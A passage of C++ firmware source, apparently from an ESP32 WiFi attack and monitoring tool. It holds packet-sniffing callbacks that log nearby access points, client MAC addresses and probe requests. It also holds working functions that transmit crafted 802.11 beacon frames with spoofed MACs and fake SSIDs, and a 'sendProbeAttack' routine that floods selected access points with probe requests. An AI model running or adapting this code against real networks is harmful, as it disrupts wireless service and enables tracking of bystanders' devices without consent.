  1291. if (type == WIFI_PKT_MGMT)
  1292. {
  1293. len -= 4;
  1294. int fctl = ntohs(frameControl->fctl);
  1295. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1296. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1297. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1298. #ifdef HAS_SCREEN
  1299. int buf = display_obj.display_buffer->size();
  1300. #else
  1301. int buf = 0;
  1302. #endif
  1303. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1304. {
  1305. char addr[] = "00:00:00:00:00:00";
  1306. getMAC(addr, snifferPacket->payload, 10);
  1307. bool in_list = false;
  1308. bool mac_match = true;
  1309. for (int i = 0; i < access_points->size(); i++) {
  1310. mac_match = true;
  1311. //Serial.print("Checking ");
  1312. //Serial.print(addr);
  1313. //Serial.println(" against " + (String)access_points->get(i).essid);
  1314. for (int x = 0; x < 6; x++) {
  1315. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1316. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1317. mac_match = false;
  1318. //Serial.println("MACs do not match");
  1319. break;
  1320. }
  1321. }
  1322. if (mac_match) {
  1323. in_list = true;
  1324. break;
  1325. }
  1326. }
  1327. if (!in_list) {
  1328. delay(random(0, 10));
  1329. Serial.print("RSSI: ");
  1330. Serial.print(snifferPacket->rx_ctrl.rssi);
  1331. Serial.print(" Ch: ");
  1332. Serial.print(snifferPacket->rx_ctrl.channel);
  1333. Serial.print(" BSSID: ");
  1334. Serial.print(addr);
  1335. display_string.concat(addr);
  1336. Serial.print(" ESSID: ");
  1337. display_string.concat(" -> ");
  1338. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1339. {
  1340. Serial.print((char)snifferPacket->payload[i + 38]);
  1341. display_string.concat((char)snifferPacket->payload[i + 38]);
  1342. essid.concat((char)snifferPacket->payload[i + 38]);
  1343. }
  1344. bssid.concat(addr);
  1345. int temp_len = display_string.length();
  1346. for (int i = 0; i < 40 - temp_len; i++)
  1347. {
  1348. display_string.concat(" ");
  1349. }
  1350. Serial.print(" ");
  1351. #ifdef HAS_SCREEN
  1352. if (display_obj.display_buffer->size() == 0)
  1353. {
  1354. display_obj.loading = true;
  1355. display_obj.display_buffer->add(display_string);
  1356. display_obj.loading = false;
  1357. }
  1358. #endif
  1359. if (essid == "") {
  1360. essid = bssid;
  1361. Serial.print(essid + " ");
  1362. }
  1363. //LinkedList<char> beacon = new LinkedList<char>();
  1364. /*AccessPoint ap = {essid,
  1365. snifferPacket->rx_ctrl.channel,
  1366. {snifferPacket->payload[10],
  1367. snifferPacket->payload[11],
  1368. snifferPacket->payload[12],
  1369. snifferPacket->payload[13],
  1370. snifferPacket->payload[14],
  1371. snifferPacket->payload[15]},
  1372. false,
  1373. NULL};*/
  1374. AccessPoint ap;
  1375. ap.essid = essid;
  1376. ap.channel = snifferPacket->rx_ctrl.channel;
  1377. ap.bssid[0] = snifferPacket->payload[10];
  1378. ap.bssid[1] = snifferPacket->payload[11];
  1379. ap.bssid[2] = snifferPacket->payload[12];
  1380. ap.bssid[3] = snifferPacket->payload[13];
  1381. ap.bssid[4] = snifferPacket->payload[14];
  1382. ap.bssid[5] = snifferPacket->payload[15];
  1383. ap.selected = false;
  1384. ap.beacon = new LinkedList<char>();
  1385. //for (int i = 0; i < len; i++) {
  1386. // ap.beacon->add(snifferPacket->payload[i]);
  1387. //}
  1388. ap.beacon->add(snifferPacket->payload[34]);
  1389. ap.beacon->add(snifferPacket->payload[35]);
  1390. Serial.print("\nBeacon: ");
  1391. for (int i = 0; i < ap.beacon->size(); i++) {
  1392. char hexCar[4];
  1393. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1394. Serial.print(hexCar);
  1395. if ((i + 1) % 16 == 0)
  1396. Serial.print("\n");
  1397. else
  1398. Serial.print(" ");
  1399. }
  1400. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1401. access_points->add(ap);
  1402. Serial.print(access_points->size());
  1403. Serial.println();
  1404. if (save_packet)
  1405. sd_obj.addPacket(snifferPacket->payload, len);
  1406. }
  1407. }
  1408. }
  1409. }
  1410. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1411. {
  1412. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1413. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1414. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1415. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1416. int len = snifferPacket->rx_ctrl.sig_len;
  1417. String display_string = "";
  1418. String essid = "";
  1419. String bssid = "";
  1420. if (type == WIFI_PKT_MGMT)
  1421. {
  1422. len -= 4;
  1423. int fctl = ntohs(frameControl->fctl);
  1424. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1425. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1426. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1427. #ifdef HAS_SCREEN
  1428. int buf = display_obj.display_buffer->size();
  1429. #else
  1430. int buf = 0;
  1431. #endif
  1432. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1433. {
  1434. char addr[] = "00:00:00:00:00:00";
  1435. getMAC(addr, snifferPacket->payload, 10);
  1436. bool in_list = false;
  1437. bool mac_match = true;
  1438. for (int i = 0; i < access_points->size(); i++) {
  1439. mac_match = true;
  1440. //Serial.print("Checking ");
  1441. //Serial.print(addr);
  1442. //Serial.println(" against " + (String)access_points->get(i).essid);
  1443. for (int x = 0; x < 6; x++) {
  1444. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1445. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1446. mac_match = false;
  1447. //Serial.println("MACs do not match");
  1448. break;
  1449. }
  1450. }
  1451. if (mac_match) {
  1452. in_list = true;
  1453. break;
  1454. }
  1455. }
  1456. if (!in_list) {
  1457. delay(random(0, 10));
  1458. Serial.print("RSSI: ");
  1459. Serial.print(snifferPacket->rx_ctrl.rssi);
  1460. Serial.print(" Ch: ");
  1461. Serial.print(snifferPacket->rx_ctrl.channel);
  1462. Serial.print(" BSSID: ");
  1463. Serial.print(addr);
  1464. display_string.concat(addr);
  1465. Serial.print(" ESSID: ");
  1466. display_string.concat(" -> ");
  1467. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1468. {
  1469. Serial.print((char)snifferPacket->payload[i + 38]);
  1470. display_string.concat((char)snifferPacket->payload[i + 38]);
  1471. essid.concat((char)snifferPacket->payload[i + 38]);
  1472. }
  1473. bssid.concat(addr);
  1474. int temp_len = display_string.length();
  1475. for (int i = 0; i < 40 - temp_len; i++)
  1476. {
  1477. display_string.concat(" ");
  1478. }
  1479. Serial.print(" ");
  1480. #ifdef HAS_SCREEN
  1481. if (display_obj.display_buffer->size() == 0)
  1482. {
  1483. display_obj.loading = true;
  1484. display_obj.display_buffer->add(display_string);
  1485. display_obj.loading = false;
  1486. }
  1487. #endif
  1488. if (essid == "") {
  1489. essid = bssid;
  1490. Serial.print(essid + " ");
  1491. }
  1492. AccessPoint ap = {essid,
  1493. snifferPacket->rx_ctrl.channel,
  1494. {snifferPacket->payload[10],
  1495. snifferPacket->payload[11],
  1496. snifferPacket->payload[12],
  1497. snifferPacket->payload[13],
  1498. snifferPacket->payload[14],
  1499. snifferPacket->payload[15]},
  1500. false,
  1501. NULL,
  1502. snifferPacket->rx_ctrl.rssi};
  1503. access_points->add(ap);
  1504. Serial.print(access_points->size());
  1505. Serial.println();
  1506. if (save_packet)
  1507. sd_obj.addPacket(snifferPacket->payload, len);
  1508. }
  1509. }
  1510. }
  1511. }
  1512. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1513. {
  1514. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1515. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1516. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1517. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1518. int len = snifferPacket->rx_ctrl.sig_len;
  1519. String display_string = "";
  1520. if (type == WIFI_PKT_MGMT)
  1521. {
  1522. len -= 4;
  1523. int fctl = ntohs(frameControl->fctl);
  1524. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1525. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1526. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1527. #ifdef HAS_SCREEN
  1528. int buf = display_obj.display_buffer->size();
  1529. #else
  1530. int buf = 0;
  1531. #endif
  1532. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1533. {
  1534. delay(random(0, 10));
  1535. Serial.print("RSSI: ");
  1536. Serial.print(snifferPacket->rx_ctrl.rssi);
  1537. Serial.print(" Ch: ");
  1538. Serial.print(snifferPacket->rx_ctrl.channel);
  1539. Serial.print(" BSSID: ");
  1540. char addr[] = "00:00:00:00:00:00";
  1541. getMAC(addr, snifferPacket->payload, 10);
  1542. Serial.print(addr);
  1543. display_string.concat(addr);
  1544. Serial.print(" ESSID: ");
  1545. display_string.concat(" -> ");
  1546. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1547. {
  1548. Serial.print((char)snifferPacket->payload[i + 38]);
  1549. display_string.concat((char)snifferPacket->payload[i + 38]);
  1550. }
  1551. int temp_len = display_string.length();
  1552. #ifdef HAS_SCREEN
  1553. for (int i = 0; i < 40 - temp_len; i++)
  1554. {
  1555. display_string.concat(" ");
  1556. }
  1557. Serial.print(" ");
  1558. if (display_obj.display_buffer->size() == 0)
  1559. {
  1560. display_obj.loading = true;
  1561. display_obj.display_buffer->add(display_string);
  1562. display_obj.loading = false;
  1563. }
  1564. #endif
  1565. Serial.println();
  1566. if (save_packet)
  1567. sd_obj.addPacket(snifferPacket->payload, len);
  1568. }
  1569. }
  1570. }
  1571. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1572. {
  1573. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1574. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1575. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1576. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1577. int len = snifferPacket->rx_ctrl.sig_len;
  1578. String display_string = "";
  1579. if (type == WIFI_PKT_MGMT)
  1580. {
  1581. len -= 4;
  1582. int fctl = ntohs(frameControl->fctl);
  1583. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1584. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1585. }
  1586. Serial.print("RSSI: ");
  1587. Serial.print(snifferPacket->rx_ctrl.rssi);
  1588. Serial.print(" Ch: ");
  1589. Serial.print(snifferPacket->rx_ctrl.channel);
  1590. Serial.print(" BSSID: ");
  1591. char addr[] = "00:00:00:00:00:00";
  1592. getMAC(addr, snifferPacket->payload, 10);
  1593. Serial.print(addr);
  1594. display_string.concat(text_table4[0]);
  1595. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1596. display_string.concat(" ");
  1597. display_string.concat(addr);
  1598. int temp_len = display_string.length();
  1599. #ifdef HAS_SCREEN
  1600. for (int i = 0; i < 40 - temp_len; i++)
  1601. {
  1602. display_string.concat(" ");
  1603. }
  1604. Serial.print(" ");
  1605. if (display_obj.display_buffer->size() == 0)
  1606. {
  1607. display_obj.loading = true;
  1608. display_obj.display_buffer->add(display_string);
  1609. display_obj.loading = false;
  1610. }
  1611. #endif
  1612. Serial.println();
  1613. if (save_packet)
  1614. sd_obj.addPacket(snifferPacket->payload, len);
  1615. }
  1616. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1617. {
  1618. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1619. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1620. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1621. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1622. int len = snifferPacket->rx_ctrl.sig_len;
  1623. String display_string = "";
  1624. if (type == WIFI_PKT_MGMT)
  1625. {
  1626. len -= 4;
  1627. int fctl = ntohs(frameControl->fctl);
  1628. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1629. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1630. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1631. #ifdef HAS_SCREEN
  1632. int buf = display_obj.display_buffer->size();
  1633. #else
  1634. int buf = 0;
  1635. #endif
  1636. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1637. {
  1638. delay(random(0, 10));
  1639. Serial.print("RSSI: ");
  1640. Serial.print(snifferPacket->rx_ctrl.rssi);
  1641. Serial.print(" Ch: ");
  1642. Serial.print(snifferPacket->rx_ctrl.channel);
  1643. Serial.print(" BSSID: ");
  1644. char addr[] = "00:00:00:00:00:00";
  1645. char dst_addr[] = "00:00:00:00:00:00";
  1646. getMAC(addr, snifferPacket->payload, 10);
  1647. getMAC(dst_addr, snifferPacket->payload, 4);
  1648. Serial.print(addr);
  1649. Serial.print(" -> ");
  1650. Serial.print(dst_addr);
  1651. display_string.concat(text_table4[0]);
  1652. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1653. display_string.concat(" ");
  1654. display_string.concat(addr);
  1655. #ifdef HAS_SCREEN
  1656. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1657. {
  1658. display_string.concat(" ");
  1659. }
  1660. Serial.print(" ");
  1661. if (display_obj.display_buffer->size() == 0)
  1662. {
  1663. display_obj.loading = true;
  1664. display_obj.display_buffer->add(display_string);
  1665. display_obj.loading = false;
  1666. }
  1667. #endif
  1668. Serial.println();
  1669. if (save_packet)
  1670. sd_obj.addPacket(snifferPacket->payload, len);
  1671. }
  1672. }
  1673. }
  1674. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1675. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1676. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1677. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1678. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1679. int len = snifferPacket->rx_ctrl.sig_len;
  1680. String display_string = "";
  1681. if (type == WIFI_PKT_MGMT)
  1682. {
  1683. len -= 4;
  1684. int fctl = ntohs(frameControl->fctl);
  1685. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1686. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1687. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1688. #ifdef HAS_SCREEN
  1689. int buf = display_obj.display_buffer->size();
  1690. #else
  1691. int buf = 0;
  1692. #endif
  1693. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1694. {
  1695. delay(random(0, 10));
  1696. Serial.print("RSSI: ");
  1697. Serial.print(snifferPacket->rx_ctrl.rssi);
  1698. Serial.print(" Ch: ");
  1699. Serial.print(snifferPacket->rx_ctrl.channel);
  1700. Serial.print(" Client: ");
  1701. char addr[] = "00:00:00:00:00:00";
  1702. getMAC(addr, snifferPacket->payload, 10);
  1703. Serial.print(addr);
  1704. display_string.concat(addr);
  1705. Serial.print(" Requesting: ");
  1706. display_string.concat(" -> ");
  1707. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1708. {
  1709. Serial.print((char)snifferPacket->payload[26 + i]);
  1710. display_string.concat((char)snifferPacket->payload[26 + i]);
  1711. }
  1712. // Print spaces because of the rotating lines of the hardware scroll.
  1713. // The same characters print from previous lines so I just overwrite them
  1714. // with spaces.
  1715. #ifdef HAS_SCREEN
  1716. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1717. {
  1718. display_string.concat(" ");
  1719. }
  1720. if (display_obj.display_buffer->size() == 0)
  1721. {
  1722. //while (display_obj.printing)
  1723. // delay(1);
  1724. display_obj.loading = true;
  1725. display_obj.display_buffer->add(display_string);
  1726. display_obj.loading = false;
  1727. }
  1728. #endif
  1729. Serial.println();
  1730. if (save_packet)
  1731. sd_obj.addPacket(snifferPacket->payload, len);
  1732. }
  1733. }
  1734. }
  1735. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1736. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1737. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1738. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1739. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1740. int len = snifferPacket->rx_ctrl.sig_len;
  1741. String display_string = "";
  1742. String essid = "";
  1743. bool found = false;
  1744. if (type == WIFI_PKT_MGMT)
  1745. {
  1746. len -= 4;
  1747. int fctl = ntohs(frameControl->fctl);
  1748. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1749. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1750. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1751. #ifdef HAS_SCREEN
  1752. int buf = display_obj.display_buffer->size();
  1753. #else
  1754. int buf = 0;
  1755. #endif
  1756. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1757. {
  1758. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1759. {
  1760. essid.concat((char)snifferPacket->payload[26 + i]);
  1761. }
  1762. for (int i = 0; i < ssids->size(); i++) {
  1763. if (ssids->get(i).essid == essid) {
  1764. Serial.println("Found a sheep");
  1765. found = true;
  1766. break;
  1767. }
  1768. }
  1769. if (!found)
  1770. return;
  1771. delay(random(0, 10));
  1772. Serial.print("RSSI: ");
  1773. Serial.print(snifferPacket->rx_ctrl.rssi);
  1774. Serial.print(" Ch: ");
  1775. Serial.print(snifferPacket->rx_ctrl.channel);
  1776. Serial.print(" Client: ");
  1777. char addr[] = "00:00:00:00:00:00";
  1778. getMAC(addr, snifferPacket->payload, 10);
  1779. Serial.print(addr);
  1780. display_string.concat(addr);
  1781. Serial.print(" Requesting: ");
  1782. display_string.concat(" -> ");
  1783. // ESSID
  1784. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1785. {
  1786. Serial.print((char)snifferPacket->payload[26 + i]);
  1787. display_string.concat((char)snifferPacket->payload[26 + i]);
  1788. }
  1789. // Print spaces because of the rotating lines of the hardware scroll.
  1790. // The same characters print from previous lines so I just overwrite them
  1791. // with spaces.
  1792. #ifdef HAS_SCREEN
  1793. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1794. {
  1795. display_string.concat(" ");
  1796. }
  1797. if (display_obj.display_buffer->size() == 0)
  1798. {
  1799. display_obj.loading = true;
  1800. display_obj.display_buffer->add(display_string);
  1801. display_obj.loading = false;
  1802. }
  1803. #endif
  1804. Serial.println();
  1805. if (save_packet)
  1806. sd_obj.addPacket(snifferPacket->payload, len);
  1807. }
  1808. }
  1809. }
  1810. /*
  1811. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1812. set_channel = random(1,12);
  1813. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1814. delay(1);
  1815. // Randomize SRC MAC
  1816. packet[10] = packet[16] = custom_ssid.bssid[0];
  1817. packet[11] = packet[17] = custom_ssid.bssid[1];
  1818. packet[12] = packet[18] = custom_ssid.bssid[2];
  1819. packet[13] = packet[19] = custom_ssid.bssid[3];
  1820. packet[14] = packet[20] = custom_ssid.bssid[4];
  1821. packet[15] = packet[21] = custom_ssid.bssid[5];
  1822. char ESSID[custom_ssid.essid.length() + 1] = {};
  1823. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1824. }*/
  1825. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1826. set_channel = random(1,12);
  1827. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1828. delay(1);
  1829. if (custom_ssid.beacon->size() == 0)
  1830. return;
  1831. // Randomize SRC MAC
  1832. // Randomize SRC MAC
  1833. packet[10] = packet[16] = random(256);
  1834. packet[11] = packet[17] = random(256);
  1835. packet[12] = packet[18] = random(256);
  1836. packet[13] = packet[19] = random(256);
  1837. packet[14] = packet[20] = random(256);
  1838. packet[15] = packet[21] = random(256);
  1839. char ESSID[custom_ssid.essid.length() + 1] = {};
  1840. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1841. int realLen = strlen(ESSID);
  1842. int ssidLen = random(realLen, 33);
  1843. int numSpace = ssidLen - realLen;
  1844. //int rand_len = sizeof(rand_reg);
  1845. int fullLen = ssidLen;
  1846. packet[37] = fullLen;
  1847. // Insert my tag
  1848. for(int i = 0; i < realLen; i++)
  1849. packet[38 + i] = ESSID[i];
  1850. for(int i = 0; i < numSpace; i++)
  1851. packet[38 + realLen + i] = 0x20;
  1852. /////////////////////////////
  1853. packet[50 + fullLen] = set_channel;
  1854. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1855. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1856. // Add everything that goes after the SSID
  1857. //for(int i = 0; i < 12; i++)
  1858. // packet[38 + fullLen + i] = postSSID[i];
  1859. packet[34] = custom_ssid.beacon->get(0);
  1860. packet[35] = custom_ssid.beacon->get(1);
  1861. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1862. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1863. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1864. packets_sent = packets_sent + 3;
  1865. }
  1866. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1867. set_channel = random(1,12);
  1868. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1869. delay(1);
  1870. // Randomize SRC MAC
  1871. packet[10] = packet[16] = custom_ssid.bssid[0];
  1872. packet[11] = packet[17] = custom_ssid.bssid[1];
  1873. packet[12] = packet[18] = custom_ssid.bssid[2];
  1874. packet[13] = packet[19] = custom_ssid.bssid[3];
  1875. packet[14] = packet[20] = custom_ssid.bssid[4];
  1876. packet[15] = packet[21] = custom_ssid.bssid[5];
  1877. char ESSID[custom_ssid.essid.length() + 1] = {};
  1878. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1879. int ssidLen = strlen(ESSID);
  1880. //int rand_len = sizeof(rand_reg);
  1881. int fullLen = ssidLen;
  1882. packet[37] = fullLen;
  1883. // Insert my tag
  1884. for(int i = 0; i < ssidLen; i++)
  1885. packet[38 + i] = ESSID[i];
  1886. /////////////////////////////
  1887. packet[50 + fullLen] = set_channel;
  1888. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1889. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1890. // Add everything that goes after the SSID
  1891. for(int i = 0; i < 12; i++)
  1892. packet[38 + fullLen + i] = postSSID[i];
  1893. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1894. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1895. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1896. packets_sent = packets_sent + 3;
  1897. }
  1898. // Function to send beacons with random ESSID length
  1899. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1900. set_channel = random(1,12);
  1901. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1902. delay(1);
  1903. // Randomize SRC MAC
  1904. packet[10] = packet[16] = random(256);
  1905. packet[11] = packet[17] = random(256);
  1906. packet[12] = packet[18] = random(256);
  1907. packet[13] = packet[19] = random(256);
  1908. packet[14] = packet[20] = random(256);
  1909. packet[15] = packet[21] = random(256);
  1910. int ssidLen = strlen(ESSID);
  1911. //int rand_len = sizeof(rand_reg);
  1912. int fullLen = ssidLen;
  1913. packet[37] = fullLen;
  1914. // Insert my tag
  1915. for(int i = 0; i < ssidLen; i++)
  1916. packet[38 + i] = ESSID[i];
  1917. /////////////////////////////
  1918. packet[50 + fullLen] = set_channel;
  1919. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1920. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1921. // Add everything that goes after the SSID
  1922. for(int i = 0; i < 12; i++)
  1923. packet[38 + fullLen + i] = postSSID[i];
  1924. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1925. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1926. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1927. packets_sent = packets_sent + 3;
  1928. }
  1929. // Function for sending crafted beacon frames
  1930. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1931. set_channel = random(1,12);
  1932. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1933. delay(1);
  1934. // Randomize SRC MAC
  1935. packet[10] = packet[16] = random(256);
  1936. packet[11] = packet[17] = random(256);
  1937. packet[12] = packet[18] = random(256);
  1938. packet[13] = packet[19] = random(256);
  1939. packet[14] = packet[20] = random(256);
  1940. packet[15] = packet[21] = random(256);
  1941. packet[37] = 6;
  1942. // Randomize SSID (Fixed size 6. Lazy right?)
  1943. packet[38] = alfa[random(65)];
  1944. packet[39] = alfa[random(65)];
  1945. packet[40] = alfa[random(65)];
  1946. packet[41] = alfa[random(65)];
  1947. packet[42] = alfa[random(65)];
  1948. packet[43] = alfa[random(65)];
  1949. packet[56] = set_channel;
  1950. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1951. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1952. // Add everything that goes after the SSID
  1953. for(int i = 0; i < 12; i++)
  1954. packet[38 + 6 + i] = postSSID[i];
  1955. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1956. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1957. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1958. packets_sent = packets_sent + 3;
  1959. }
  1960. // Function to send probe flood to all "active" access points
  1961. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1962. // Itterate through all access points in list
  1963. for (int i = 0; i < access_points->size(); i++) {
  1964. // Check if active
  1965. if (access_points->get(i).selected) {
  1966. this->set_channel = access_points->get(i).channel;
  1967. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1968. delay(1);
  1969. // Build packet
  1970. // Randomize SRC MAC
  1971. prob_req_packet[10] = random(256);
  1972. prob_req_packet[11] = random(256);
  1973. prob_req_packet[12] = random(256);
  1974. prob_req_packet[13] = random(256);
  1975. prob_req_packet[14] = random(256);
  1976. prob_req_packet[15] = random(256);
  1977. // Set SSID length
  1978. int ssidLen = access_points->get(i).essid.length();
  1979. //int rand_len = sizeof(rand_reg);
  1980. int fullLen = ssidLen;
  1981. prob_req_packet[25] = fullLen;
  1982. // Insert ESSID
  1983. char buf[access_points->get(i).essid.length() + 1] = {};
  1984. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1985. for(int i = 0; i < ssidLen; i++)
  1986. prob_req_packet[26 + i] = buf[i];
  1987. /*
  1988. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1989. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1990. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1991. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1992. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1993. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1994. 0x00, 0x00
  1995. */
  1996. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1997. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1998. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1999. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  2000. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  2001. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
